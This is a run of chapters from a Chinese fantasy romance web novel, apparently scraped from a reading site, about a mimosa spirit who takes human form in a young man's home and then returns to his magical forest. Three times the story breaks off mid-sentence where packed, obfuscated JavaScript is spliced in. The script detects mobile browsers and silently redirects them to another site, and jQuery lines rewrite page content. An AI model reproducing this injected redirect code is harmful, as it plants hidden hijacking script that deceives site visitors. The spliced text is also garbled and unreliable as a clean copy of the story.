他小跑过去,看见山神倚靠在树下闭目养神,男人的长发是金黄色,阳光照过来的时候,像是洒满了许多碎金闪闪发光,尽管看不清脸,也觉得这个人很俊俏。
少年蹲在他身边说:“山神大人,对不起,我不该让你帮忙救我们族里的小草,不该对你发火。”
山顶的神树长了许多果子,仙气环绕在顶峰,叶大如舟,底下有个巨型树洞,男人走进去,找了个地方躺着说:“任何花草,都会有生命枯萎的时刻,它们在皎月森林里活了几十年,已经是圆满的人生,我不可能破坏生态环境,将所有死去的小草都复活。”
“我明白,是我没礼貌。”
少年有点难过,又从兜里拿出两颗山楂递给他:“今天没找到,只有这两个。”
男人轻轻摸了下小草的头顶:“爬上来花了两天的时间吧?自己吃,补充体力。”
“你不开心吗?”
“没有。”
小草凑过去,坐在他怀里说:“山神大人,如果有一天我枯萎了,你会救我吗?”
长发男人闻言诧异扭头,他向来活在孤独里,待在山顶最高峰,没想到会有个古灵精怪的含羞草冲破了他的结界,陪他说话、聊天、讲故事,那动人的笑声,总能牵动他坚硬冰冷的心。
“不会。”
听到这个回答,小草难过了几秒,随后抬头笑得很开心:“对,众生平等,我一定要珍惜现在的时光。”
……
江含修睁开眼醒来,不知何时已经天黑,秦宿枭还没到家,他环顾四周,记忆变得清晰了许多。
梦中的场景是皎月森林的最高山峰,山神生活的地方,那个少年五官很清秀,头发两边有许多含羞草,就是自己修炼成人的模样?
他真的认识山神……
后来呢,山神大人死后,自己又在何处,也死了吗?
别墅前院车灯照进来,打破了江含修的思绪,他收回藤蔓,看见秦宿枭的汽车,立马从土壤里跑出来,蹦到门口等着。
秦宿枭打开门,就瞧见藤蔓缠住了他的腿,黏糊糊地问:“你怎么才回来,八点了。”
秦宿枭把箱子放在旁边,蹲下来摸了摸他的叶子:“今天公司加班,明天要出发去国外,一周后回来。”
“啊,这么久。” 江含修贴在他身上,“我在家很无聊,渴了还要自己拿水壶浇水,可怜可怜小草吧,把我带去玩。”
秦宿枭拆开带回来的箱子,说:“那不行,路途遥远,还要坐飞机,带着一盆含羞草不方便。我今天做了个自动浇水器,用脑袋顶一下就能出水。”
江含修好奇,像是沉浸在父爱中的孩子:“哇,真的吗?”
秦宿枭拿出来,是一个白色的小型机器,呈凹形,安装在花盆底下,在下面卡槽装满水,把水管连接在土壤里,另一个水管放在头顶,有个小花洒。
秦宿枭轻轻按一下左边的按键,土壤很快湿润,按一下右边的按键,花洒也喷出了水花。
“哇QVQ~~” 江含修站在旁边开心地蹦起来,藤蔓死死缠住男人的大腿,“谢谢爸爸!”
秦宿枭摸了摸他头顶的叶子:“你喜欢就好,我要连接阳台的水龙头,方便自动抽水,以免下面的卡槽不够你喝,你先去玩。”
江含修缩起叶子,很害羞地跑到客厅,和富贵竹说人类真厉害。
绿萝哇哇大哭,说它也要。
江含修:“你们一周喝一次水,都太湿润,容易淹死,我每天要喝五六次水,所以爸爸才给我装。”
绿萝和玫瑰也闹着喊爸爸,嚷着要装上同样的高科技,可秦宿枭仿佛听不见。
终究是嫡庶有别?
秦宿枭安装成功后,打开水龙头测试,机器成功接入上下水,以后出差,不用担心小草会渴死。
“明天我出差,会把所有窗户锁上,你不要出门乱跑,外面很危险。” 秦宿枭给他倒了点营养液说。
江含修头顶的叶子点了点:“我知道,小草很乖,不会乱跑。”
秦宿枭隐约觉得自己真的有点父爱的程度,看着小草一天比一天高,含羞草的叶子也越来越多,心中很是欣慰,还养得这么乖。
难怪看见那些大人喜欢自己的孩子,这么可爱听话的小东西,心里软软的,谁不怜爱。
…
傍晚,秦宿枭将洗干净的含羞草放在主卧的花盆边,准备将它栽种下去。
就在转身的间隙,却见那株小小的植物忽然轻轻一跳,落到了柔软的床铺上,还学人似的,舒展枝叶躺了下来。
江含修和其他绿植不太一样。他不用每天待在花盆的土里,也可以浸在清水中。经常被洗得清清爽爽,干净得几乎透出光来。
“我洗干净了,也要睡床。”
床上有一摊湿哒哒的草,成团的绿叶子摊在上面,下面是米色的根,根部是密密麻麻的细根,这样看的话,很诡异。
谁睡觉会把草放在床上,如果是毛茸茸的小猫小狗,小仓鼠,或许还能理解,植物是真的很特殊了。
秦宿枭趴在他身旁细声哄道:“小草,你去花盆里吧,睡觉时右边躺着一堆草,我有点不习惯。”
江含修苦恼低头:“我只睡半小时,就回到花盆里,可以吗?”
他的声音如同十岁少年那样清润,听起来稚音未脱,乖乖的,很有礼貌的询问,很难拒绝这团小草的恳求。
“好。” 秦宿枭只能揭开棉被,还能怎么办,明天早起洗床单,都被他弄湿了。
江含修的藤蔓全缠在男人身上,嫩绿的叶子抖来抖去,这是兴奋的表现,他很开心。
秦宿枭无奈闭上眼,小精灵真粘人,这样下去,他以后该怎么舍得放他回森林。
“爸爸,以后我回到森林,也会经常来看你,只要没事,我就过来找你,直到你老去,我都会陪在你身边。”
听着身边的小草碎碎念,秦宿枭扭头看向他:“如果我老了,你是不是还没死?”
江含修点头:“应该是吧,成精后能活很久。”
秦宿枭:“你现在活了多久?”
江含修:“三百年。”
秦宿枭:“???”
秦宿枭目瞪口呆,猛地坐起来看着这团小草,难以置信地问:“你活了三百年??你有三百岁?”
江含修的藤蔓挠了挠他的手:“对啊,怎么了?”
秦宿枭脸色阴沉,他才二十六岁,竟然认了一个三百岁的儿子,简直倒反天罡。
“今后,别再喊我爸爸。” 秦宿枭又躺下来,钻进被窝里无奈说。
江含修趴在他身上,藤蔓缠了过来,心情很糟糕:“为什么?就因为我活了三百年,就不能喊你爸爸?森林里的植物都是这样啊,树爷爷活了几千年,山神也活了几千年,他们都是这样……小草也不是故意活这么久的。”
秦宿枭哭笑不得,到底如何给一盆含羞草灌输人类的父辈知识,他轻轻抚摸叶子,说:“好啦,喜欢喊就喊吧,看你这心态,估计在人界,也只能属于几岁。”
江含修这才开心躺下,小藤蔓在男人身上摸来摸去,贴在他身边会感觉很安心。
秦宿枭闭上眼,小草还在耳边碎碎念,讲森林里的故事,说萤火虫、小松鼠、刺猬,他以前也经常遇到,这些小动物还会给它送水,那段无忧无虑的时光很开心。
江含修轻声说,其实他并不想当什么守护神,他总担心自己笨手笨脚的,扛不起那么重的担子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812926|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>可既然已经被选中了,总得试试看。至少,他得为这片森林,尽最大的努力。
大概讲了一个小时。
秦宿枭刚想摸他,小草离开土壤有点难受,突然爬到床头柜上面,钻进花盆里,找了个舒适的姿势趴下睡觉。
含羞草睡着时,所有叶子会抿起来,秦宿枭打开矿泉水瓶,怕他夜里口渴,倒了点在花盆里。
秦宿枭瞧着他发呆,这么幼小的精灵,还没彻底学会人类语言,竟然就要保护那么大的森林。
江含修连倒个水都会烫到自己,这样笨手笨脚的,真能当好守护神吗?
想到这里,秦宿枭的心口忽然没来由地疼了一下。他下意识捂住胸口,呼吸微促,心里也跟着泛起一丝茫然,就算自己容易心软,可怎么会对着一株植物产生这样的情感?究竟是怎么回事……
秦宿枭捡起床单上面的一片叶子,拿起来看了良久,心情又开始沉闷,希望他能永远平安无事。
……
第二天醒来,江含修睁开眼时,整个别墅客厅已经空无一人,很是安静。
旁边有一碗清澈的水,他闻到了是露水的味道,秦宿枭早晨为他采取的,小草爬进去,用藤蔓舔了个干干净净。
江含修在客厅晃悠两圈,两个不靠谱的机器人被锁在了书房,不能再薅他的叶子。
他带着自己的粉色花盆来到阳台,跳进自动浇水器里面,和卡槽贴合完毕,按了下开关,头顶的花洒自动喷水,淋得他很舒服。
绿萝在客厅左边,挨着阳台,和他说话很近:“老大,你修炼成人后,会和秦宿枭谈恋爱吗?”
“谈恋爱是什么?” 江含修疑惑不解。
绿萝也不知道怎么解释,以前秦宿枭总是看电视,它们在阳台也听得一清二楚,但是没学会。
“就是在一起一辈子。”
江含修立马回答:“当然会啊!我要陪他到老,照顾爸爸是我的责任。”
绿萝:“呃。”
好像有点不对劲,又不知道如何解释。
江含修开心地晃了晃叶子,原来这叫做谈恋爱,他又学会了新的知识,地球是个美妙的地方。
然而,不美妙的事情发生了。
第一天,自动浇水器很好。
第二天,一切正常。
第三天,稍微卡顿,也能出水。
第四天,水停了。
江含修用力顶来顶去,开关都快被顶冒烟,也就给了几滴水。
小草怒吼:“能不能别发明人工智障!”
绿萝在旁边笑话:“噗,对不起老大,但是您学会的新词很适合这个场景,居然懂得智障的意思。”
江含修很生气,秦宿枭说,他的这些机器都叫做人工智能,有语音识别功能,但是没有一个好用,像傻子,用人类的话说,就是人工智障。
炒菜机器人拿他做饭,扫地机器人薅他叶子,把他当垃圾。
自动浇水器都不给他水喝。
爸爸办事还是有点不靠谱。
江含修挣扎半天,跑到客厅找水壶,因为秦宿枭害怕他在家里乱跑烫到自己,水壶已经藏起来,饮水机也没多少水。
第四天,没喝到水
第五天,也没水喝。
第六天,含羞草焉了吧唧的,快变成疯草,好容易学会水龙头怎么使用,竟然停水了。
森林里的植物,在修炼期间最不能缺的就是水源,他以前可以吸收日月精华来代替水,如今不行。
江含修想出去,跑到池塘里泡着也行,结果门窗都锁死。
“完蛋了……”
“我真的没力气了……新叶子也长不出来,中间的主根好疼。”
江含修的叶子已经变成枯黄色,趴在阳台奄奄一息,难受地哽咽着,绿萝也没办法,富贵竹想把自己玻璃瓶里的水给他。
“不行……到时候我也没喝饱,你们也渴死了。”
绿萝忽然说:“对,你去三楼天台看看门有没有锁,从窗户翻出去,跳到楼下,然后蹦到池塘里?但是有可能会摔死。”
10.修炼成人
江含修怕自己摔得四分五裂,等秦宿枭回来,连一株完美的尸体都见不到,那样会很难过。
但是,横竖都是死,爬出去还有一线生机,他不想放弃任何希望。
江含修渴得枝条软塌,叶片呈金黄,每次走两步,又摔在了地上,最后只能伸出藤蔓缠在楼梯口,缓缓往上爬,艰难地来到三楼。
庆幸的是,天窗没有关闭。
藤蔓缓缓向前延伸,但长度仍不够抵达高处。他只能先将身体紧贴墙面,试着向上攀爬。
可没多久便滑了下来,叶片在粗糙的墙面上摩擦得簌簌直落。这株小草却有顽强的毅力,它继续伸展藤蔓,牢牢贴附墙壁,像一只想爬到顶端的壁虎。
在坚持不懈的情况下,江含修终于爬到天窗,从缝隙中间钻了出去,楼上的太阳更大,晒得他走不动路。
地球不适合精灵生存,如果在森林里,哪怕是很大的阳光,也能被他吸收,绿树成荫。这个地方的植物,每天只能靠人类浇水。
江含修也明白,这个不能怪爸爸,人类的生存方式就是这样,其实那个自动浇水器前期挺好用的。
江含修看见后院的池塘,但是高度有点吓人,他试探性地伸出藤蔓,枯黄的小藤蔓又细又脆弱,还没抓稳就掉了下去。
视线越来越模糊,梦境却越来越清晰。
明天秦宿枭回来,将看到一具小草的尸体。
……
山神没料到过,他会遇到一株活泼开朗的小草,能每天爬山峰来找他,偶尔还会小吵小闹。
少年靠在他怀里,像小朋友晃着双腿:“山神大人,能和您成为朋友,我很开心。”
“朋友?我什么时候说过要和你做朋友。”
小草听后,满脸幽怨的表情,把手里的山楂塞进嘴里:“哼,都见了十几次面,每天聊天睡觉,不肯和我做朋友。”
山神并没有回答他,他觉得神不能有情感,这只精怪太天真。
突然,他脸颊微湿,柔软的触感贴在上面,男人瞳孔微缩,惊愕地扭头。
少年说:“森林里的树爷爷说,用人类的方法,吻代表喜欢一个人的意思,您是伟大的神,我崇拜你,敬爱您。”
“敬爱……” 男人捂住脸颊,小草忽然把山楂放在他嘴里。
酸甜的滋味从口中蔓延,很美味的果子,他是神,不需要吃东西,却总是被眼前的男孩投喂。
“好吃吧?我昨天发现右边的山上,有一棵大山楂树,明天摘过来给你尝尝。”
山神未予理睬,只起身离去,衣袖轻拂间,山间所有干涸的泉池便都漾满了清波。
他说:“江含修,只有人生伴侣,才能做出亲吻的动作,你还有很多东西要学。”
因为山神的一句,很多东西要学,小草兴奋地跑到了人类世界的普通森林里,观察那些旅游的人类如何相处。
……
江含修缓缓掀开眼皮,他趴在别墅的后院里,身体平躺在地上,阳光明媚,梦境的事情越来越真实。这次山神喊了他的名字。
所以,他和山神以前就认识,还是好朋友。
“好疼……”
江含修抬手遮住脸,他猛地坐起来,看见一双洁白的双手,还有光滑白皙的腿,像刚剥出来的鸡蛋,裸在室外躺着。
“我变成人了!!!”
江含修艰难地来到池塘边缘,把整个人泡在水里,皮肤的灼痛感才稍微缓解,因为求生欲太强,跳下楼濒死之间,他强大的意识爆发灵力,才得以修炼成人。
因为刚变成人,还没有适应双腿,走路磕磕绊绊,索性爬到阳台,幸好外面的水龙头还有水,拧开后,他喝了半个小时的水。
贴着窗外的吊兰大声提醒:“老大!你现在是人,要穿衣服,不能站在外面,如果有路人看见,会把你抓走的!”
江含修回过神,突然想起人类确实要穿衣服,他发动灵力,变回小草,藤蔓缠住窗户,喝饱了水有力气,很快便爬上去了,原路返回。
-
今天是秦宿枭出差的第七天。他下午登机回国,抵达时,夜色已深。
他在玄关处换拖鞋,看见客厅全是枯叶子,顿时心头一紧,快步跑到阳台,小草的花盆空空如也,自动浇水器的卡槽里面没有水。
“故障了?小草呢?” 秦宿枭转悠两圈,想到花盆平时会在主卧,又走过去打开房间的门。
刹那间,他的视线凝固,面色陡然变得煞白,一颗心瞬间提到了喉咙口,颤巍巍地放下手。
床上竟安静地侧卧着一个少年,他五官清秀,肤色白皙得像是从未见过日晒,房间弥漫着一股雨水浸湿草木的气息。
秦宿枭缓慢地走过去,他的眼睫毛很长,似乎睡得不太安稳轻轻颤动着,唇色像白桃,鼻梁尖有一颗很小的痣,五官生得清秀端正,从没见过这么漂亮的人。
“喂。” 秦宿枭推了推他胳膊,触感极其柔软。
江含修揉了揉眼睛缓缓睁开,因为严重缺水太久,回来后就跑到床上昏睡过去了。
“你是谁?怎么会在我床上?” 秦宿枭难以置信地靠近,坐在他身边:“你的头顶有叶子……你是小草?”
江含修隐约记得,森林里的精灵修炼成人后,无法隐藏本体的标识,比如头顶上面的一朵小草,有六个叶片,不知道怎么藏匿。
秦宿枭摸了下男孩头顶的绿叶子,江含修瞬间整张脸红透:“不要碰我的叶子!我是有毒植物!”
“还会炸毛呢。”秦宿枭缩回手,目光依然滞留在他脸上。
“原来你不是精灵,修炼成功会变成人?怎么没有提前告诉我。”
江含修低头解释:“我不是精灵,我是属于森林里的守护神,和精怪不一样,有灵力。”
秦宿枭:“是吗……”
真是晴天霹雳,养了一株含羞草成精了,还变成了人。
江含修突然埋怨:“爸爸,你快把我渴死了,自动浇水器不出水,我奄奄一息爬到楼顶,跳下去摔晕了,再次醒来,身体就变成了人。”
秦宿枭捂住脸,心存内疚,他又满脸尴尬:“以后别这样喊我。”
“为什么又不能喊?” 江含修瘪了瘪嘴。
秦宿枭以为他是个两三岁的精灵,很小一只,谁知道竟然是这么高的少年,像十八岁的成年大男孩,做父亲有点乱辈分。
“总之不可以叫,可以喊哥。”
“哦。”
秦宿枭有点尴尬,兴许是直男的缘故,他还没穿衣服,两个男人独处在一间卧室里有点不习惯,于是悄悄往后退,找了个借口说:“我去看看自动浇水器有什么故障。”
秦宿枭来到客厅,长舒一口气。他轻轻揉了揉发紧的太阳穴,转身走向阳台,有些疲惫地蹲了下来。
外面晚风微拂,夜色静谧,而他脑中却纷乱如麻,那些盘桓不去的问题,又一股脑地涌了上来。
现在该怎么和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819511|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个陌生男孩相处,共处一室,同床共枕?
江含修无依无靠、无父无母,只能待在他身边,难道就这样收养他吗?
含羞草毕竟是他挖回来的,不能随意丢弃,或者明天送他回森林,可是……
他一个人待在森林里会不会有危险。
秦宿枭只看了两分钟,就检查出问题,因为停水的缘故,自动浇水器发生卡顿。来水后需要拔掉电源重启,是他唐突,没有想到会停水,差点把小草渴死了。
咚——
秦宿枭听见动静蓦然转身,迅速跑到房间,看到江含修从被褥里钻出来,竟然没有穿衣服,摔在地上疼得哇哇叫。
“怎么了?”
秦宿枭匆忙从衣柜中翻出一件白色长袖衬衣,胡乱套在他身上。
衣摆垂落下来,一直遮到大腿,两人身高相差悬殊,对方站直后,小草的脑袋才勉强够到他的下颚。
还有头顶那株小草生得格外灵秀,六片叶子舒展成圆润的弧形,大小错落有致,像是从发丝间自然生长出来的一般。
江含修揉了揉膝盖:“还没习惯走路,人的体型过大,不像小草那么轻盈。”
秦宿枭错愕地伸出手摸了摸他头顶的叶子,嫩嫩的很绿,晃动了两下就会缩起来,好可爱。
江含修抬手捂住脑袋:“都说我了我的叶子有毒,不要碰我。”
“摸一下没关系,你刚刚是想去哪里?” 秦宿枭搀扶着他问。
江含修:“想去洗澡泡着,还是感觉有点干。”
秦宿枭:“我抱你去。”
秦宿枭把人横抱起来,本以为会有些重量,入手却轻得如一团软絮,仿佛怀中空空,捧着一朵云。
秦宿枭来到卫生间,边放水边教他如何使用人类设备:“这是厕所、这是洗脸盆、浴霸的左边是热水,右边冷水,站起来的时候小心地滑……算了,我帮你洗吧。”
江含修乖乖地蹲在浴缸里,举起双手,秦宿枭帮他脱掉衣服,目光下移,停留在某个地方。
“像一只可爱的小鸡。”
江含修疑惑:“什么?”
秦宿枭沉着脸:“没什么,你刚做人,相当于小朋友,来到这个世界,很多东西不认识,我会慢慢教你,记住,在人类世界,一定要隐藏好自己的身份。”
“好的爸爸!” 江含修开心地晃了晃头顶的草。
“都说了不许喊。”
“哦,哥哥。”
秦宿枭正帮他涂抹沐浴露,指尖在这个称呼落下的瞬间一颤。
一周前见面还是小精灵,竟在转眼间化作了成年人的形貌,还好他向来情绪平稳、见惯风浪,若换作旁人,怕是早已惊得魂不附体。
江含修闭上眼,因为太舒服,他灵力在丹田游走间,趴在浴缸边缘慢慢恢复本体,变成了一株含羞草。
秦宿枭拧眉:“怎么又变回去了?”
“我的草和藤蔓也需要泡水。” 江含修伸出藤蔓,还是干涸的枯黄色,浸到水里才慢慢恢复。
秦宿枭见他叶尖重新生出嫩绿,放下了心,低头拿起水里的藤蔓捧着看,发现皮已磨破,枯干发皱,也不知这几日究竟受了多少苦。
“机器第几天坏掉的?”
“第四天。”
秦宿枭心疼至极,可怜的小草,三天三夜没喝到水,改天把房子多装几个监控吧,观察家里的状况。
一个小草孤零零待在家里,实在不放心。
11.消失的家
洗完澡,秦宿枭帮他穿好衣服,看见小草跌跌撞撞走到床边爬上去,熟练地钻进被窝,学着人类睡觉。
秦宿枭的别墅虽然有四个房间,但是二楼都是机械设备,一楼有个次卧虽然有床,没买过棉絮铺床,要么睡沙发吧。
江含修睁开眼,看见秦宿枭在衣柜里拿了条毛毯,准备出去,他疑惑不解:“爸……哥哥,你不睡觉吗?”
秦宿枭:“以后你住在这,我睡客厅沙发。”
江含修:“为什么?不能一起躺着吗?”
秦宿枭沉默了。
思来索去,他不知道如何解释,就算是女朋友,婚前同居也得经过对方同意。更何况,两个男人睡在一起,如果被街坊邻居看见,大家会以为他出柜。
江含修坐起来问:“是不是人类世界有很多规矩,我不能和你睡觉?”
秦宿枭轻抚着他的头发,语气温和地说道:“说来话长。你现在对这个世界的了解还太少,看来是该带你出去多见见世面。要是能让你进学校读书就更好了。我得先找个熟人帮忙,替你办一张身份证。”
江含修的身份在这个地方属于黑户,不能坐车、不能上班、看他这张脸也就十八岁的模样,这个年龄阶段应该在大学。
秦宿枭有个认识的同学在教育机构当教师,或许,可以把他送到这种机构学校上课,一对一辅导,钱给到位,也没人会拒绝。
“上学?” 江含修亮起星星眼:“好玩吗?”
“也不算上学,给你培训新知识,毕竟你以后还会来人类世界,什么都不懂,很难融入这个世界。” 秦宿枭说。
江含修觉得有道理,他现在找不到森林在哪里,只能留在人类世界生活,所以需要学更多。
“我想明天再去找一下森林。”
秦宿枭脸上闪过一丝错愕:“刚学会走路,就这么急着离开?”
江含修:“嗯,我还有很多问题想问树爷爷,也不知道它们怎么样了。”
秦宿枭有点失落,养了这么久半点感情都没有,化形后就要离开他,万一不回来了,岂不是再也见不到。
江含修抬头看着他:“你不高兴吗?”
秦宿枭脸色沉沉:“没有。”
江含修疑惑不解,看见秦宿枭去了客厅。他刚躺下,往被窝里钻,就听见开门的声音。
秦宿枭又回来了。
“哥哥?” 江含修又抬头看他。
秦宿枭直接把毛毯扔进衣柜里,绕到左边揭开棉被,直接躺了进来,说:“既然是最后一晚,还是陪你睡吧。”
江含修噗嗤笑出声,然后抱住他胳膊:“我只是想看看能不能找到森林,就算回到家,我也会经常回来看望你的。”
秦宿枭:“真的?”
他感觉自己的行为很幼稚,向来成熟稳重的他,在这个小草面前失了分寸,舍不得这少年离开。
“当然啊,我是被你养成人的,肯定要报答你。”
秦宿枭指尖轻抚过他发间探出的小草叶子,眼尾微弯,眸中漾开一片温软的柔光。声音压得低低的,像在哄着什么娇贵的小东西:“……你到底明不明白,哥哥这两个字,是什么意思?”
江含修摇头,老老实实的:“从小到大,树爷爷给我灌输的人类词汇很多、也很乱,我不知道怎么组合到一起,只知道在人类世界,养你长大的人是父母。”
秦宿枭耐心教导他:“既然你知道爷爷的意思,也明白父母的含义,血浓于水,兄弟之间,便可以称呼为哥哥弟弟,咱们也算是朋友。”
江含修猛地想起来:“我明白了!因为你比我大,咱们之间关系亲密,所以才叫哥哥。”
秦宿枭玩弄着他头顶的小叶子:“你悟性很高。”
江含修眼睫颤了颤,情绪有点低落:“不是……我觉得我可能是失忆了,脑海里明明记得很多事,比如山神,他和我是朋友,我却把他忘记了。”
“所以我想回到森林里,问问当初发生了什么事。”
秦宿枭听不懂他叽里咕噜说什么,只捕捉重要词汇:“山神?很重要的人吗?”
江含修点头:“山神是森林之神,没有他,就没有这些花草树木。我经常梦到山神大人,但是看不清他的脸,或许时间太久,忘了。”
秦宿枭伸手落在他肩上拍了拍:“没关系,以后会想起来的。”
“嗯……”
江含修往前面挪了挪,靠在男人怀里。秦宿枭心跳加速,软乎乎的身体靠过来,让他措手不及,本来想推开,男孩却伸出双手抱住了他的腰。
“我喜欢你。”
秦宿枭微微一怔。
他当然明白,这株含羞草哪懂得什么情爱。
他口中的“喜欢”,不过是孩童对玩具那般的爱。
可偏偏是这种懵懂又直接的拥抱,干净的四个字,让他的心像被风拂乱的蛛网,丝丝缕缕,缠得分明,又理不出头绪。
秦宿枭眉头紧蹙,他清醒的认为自己是直男,为什么会有这些复杂的情感,仿佛拒绝不了。
他本想起身,却听见均匀的呼吸声,怀里的小草已经睡着,贴在耳边的,是一股很好闻的青草香。
秦宿枭轻轻抚摸男孩鼻尖上面的小痣,喃喃自语道:“从见到他……就会产生怜爱的情感,哪怕现在,也不想推开他……就感觉,心中有条牵引绳,拉着我接近他,到底怎么回事?”
秦宿枭看着天花板,思考了半个小时,才得出结论。
“我是个GAY?”
-
翌日清晨。
江含修起床,昨天睡了个饱饱的觉,原来做人这么安逸。躺在床上,比待在花盆里舒服多了。秦宿枭教他刷牙洗脸,做了两个三明治和荷包蛋、油条。
秦宿枭把筷子递给他:“夹着吃。”
江含修同那双筷子纠缠半晌,木质的光滑表面,总让细长的筷子从指尖滑脱。
他索性扔掉,发顶悄然抽出两茎柔韧的藤蔓,稳稳地卷起焦黄油亮的油条,这才心满意足地送入口中。
“噗咳咳咳……” 秦宿枭正在喝豆浆,差点呛到。
江含修瘪了瘪嘴:“我是草,可以用藤蔓吃饭,不需要筷子。”
秦宿枭抽了张纸巾擦嘴:“不是……你这样操控藤蔓,让我想到了蟑螂。”
江含修气愤地瞪着他:“蟑螂那么黑,我是绿的,根本不像。”
秦宿枭憋着笑,脸色涨红,最后绅士地给他擦了擦嘴,拿了个勺子递给他:“如果你想待在地球,就要学会勺子和筷子,而不是突然伸出两条藤蔓来吃饭。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823468|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“哦……”
于是,江含修收起藤蔓,又开始研究那个破筷子。
虽然不好用,但是第一次品尝人类的食物非常开心,比水的味道香多了。
秦宿枭想到他刚刚吃饭的模样,还是忍不住笑,从未这般失态过,吃个早饭嘴角扬上了天。
-
出门的时候,江含修竟然跑到饮水机旁边,把里面的半桶水举起来,全喝光了。
秦宿枭:“小草……”
这么可爱的小东西,怎么会如此野蛮,喝半桶水。
江含修擦了擦嘴说:“不知道为什么,总是感觉口渴。皎月森林的植物不能离开土壤,否则会很渴,所以才想喝水。”
“没事,我明天多订几桶。” 秦宿枭给他穿上外套和裤子。
江含修的身量大约在一米七八,而秦宿枭则接近一米九。
这身衣服对他来说实在太大,裤腰松垮地挂在胯上,稍一走动便有往下滑的趋势,连带着里头的内裤也一并往下坠,掉在了地上。
江含修光溜溜地站在他面前,捂住下面的小鸡苦恼道:“这里好冷啊。”
秦宿枭:“……”
秦宿枭心中发誓,往后一定要把这株小草时时刻刻带在身边。
瞧这天真懵懂的思维,若不留神看着,怕是一转眼就能被旁人骗走。
秦宿枭索性直接走到房间,找到自己冬天的睡袍,直接披在江含修的身上,遮住了他整个身体。
“你先上车,我去前面的商场给你买两套衣服。”
江含修身形一晃,原地只留下一道浅绿色的微光。
下一秒,一株细嫩的含羞草轻轻落在花盆里,两根米白的根须探入土中,带着整盆草蹦了过来。
叶片簌簌轻摇:“我就这样跟你出门,等你买到衣服,我再变回来。”
秦宿枭看着微微合拢的叶子,忍不住伸手用指节蹭了蹭叶梢:“……也行。”
-
衣服的乌龙事件过去了,秦宿枭买了两套新衣服,江含修穿着很合身,鞋子也刚好。
江含修也很开心,抱着秦宿枭的脸亲了几口。
秦宿枭眉头蹙起:“小草,不能随意亲别人,这是夫妻才能做的事,如果你对其他陌生人这样做,很容易被打。”
江含修隐约记得:“难道不是喜欢的意思吗?人类的感情真是复杂,萤火虫亲我的时候,它们也没说不行。而且,我也不会亲陌生人,因为你是我哥哥,养我的人,所以我才亲你。”
秦宿枭语塞,和他聊天,简直是对牛弹琴。
明天就把他送去上学。
-
汽车行驶在三环公路上,往郊区走,。这一路,江含修在他耳边叽叽喳喳说个不停,能感受到,他变成人有多开心。
秦宿枭来到最初旅游的地方:“就在这,当初我们是在前面那座山露营,夜晚在森林里迷路,你的家应该在附近,我们肉眼看不见的地方。”
江含修打开车门:“我知道,你不能和我一起去,因为人类无法进入那片森林,我自己过去找,找不到我再回来。”
秦宿枭找了个空旷的场地停车,站在汽车旁边说:“我在这等你,不管有没有找到,都回来通知我一声。”
“好。”
12.某人不爽
秦宿枭望着少年远去的身影,他的步子很慢,或许是尚未习惯这副身体,身形瘦小单薄,仿佛一阵风就能将他吹倒。
这样的人,要如何守护那一片辽阔的森林?
江含修走到森林深处,继续往前走,他找了个有泉水的地方,往上攀爬,又环顾四周。
皎月森林普通人类无法进入,看不见、摸不着,仿佛处于另一个时空,催动灵力才能进入。
江含修站在山泉最高的地方,伸出手散发灵力,绿色的光芒萦绕在水中,这种信号能通过水源找到森林,偏偏今天没有任何反应。
他继续施展灵力,思索片刻,看见中间的灵力信号,直接跳进了水中。
再次睁眼,江含修躺在皎月森林中间,天地灵气环绕,头顶的太阳散发着熟悉的空气。
回来了。
“树爷爷!树爷爷!!”
江含修四处寻找大家的踪迹,大声吼道:“我回来了,你们在哪里啊!”
忽然一阵冷风迎面袭来,江含修抬手挡住,紧接着乌云密布,还没来得及反应过来,眼前出现了一片竹林。
他刚踏进去,满地竹叶骤然化作漫天利刃向他袭来。
江含修运转灵力抵挡,眼见左右都有竹叶夹击,索性凝出一道护身光罩将自己笼在其中。此地其他生命只有精灵……
为何会有人攻击他?
很快,他的防护盾支撑不住,因为刚修炼成人,不会运转更强大灵力,很快摔倒在地,被利刃般的竹叶划破了肌肤,鲜血滴在了地上。
“唔……”
“小草,你太弱了。”
江含修听到浑厚慈祥的声音,艰难地爬起来环顾四周:“树爷爷……您在哪里?我做错什么了吗?”
“你灵力尚浅,这竹林不过第一道试炼。若要保护大家,必须精进修为,寻得山神踪迹,方有重回森林的资格。”
“山神大人……他不是已经死了吗?我怎么找他?”
江含修还想继续问,那些竹子又发了疯似的朝他攻击,深林里传来精怪的嬉笑声。
“都怪你!都怪你!”
“就是你害死了山神大人!”
“他还想过关呢,我们快吃掉它!”
江含修趴在地上,整个人头晕目眩,他缓缓睁眼,看见许多透明的绿色小人蹦来跳去,撕咬他的藤蔓,它们是竹林的精怪。
他不是来保护森林的吗?
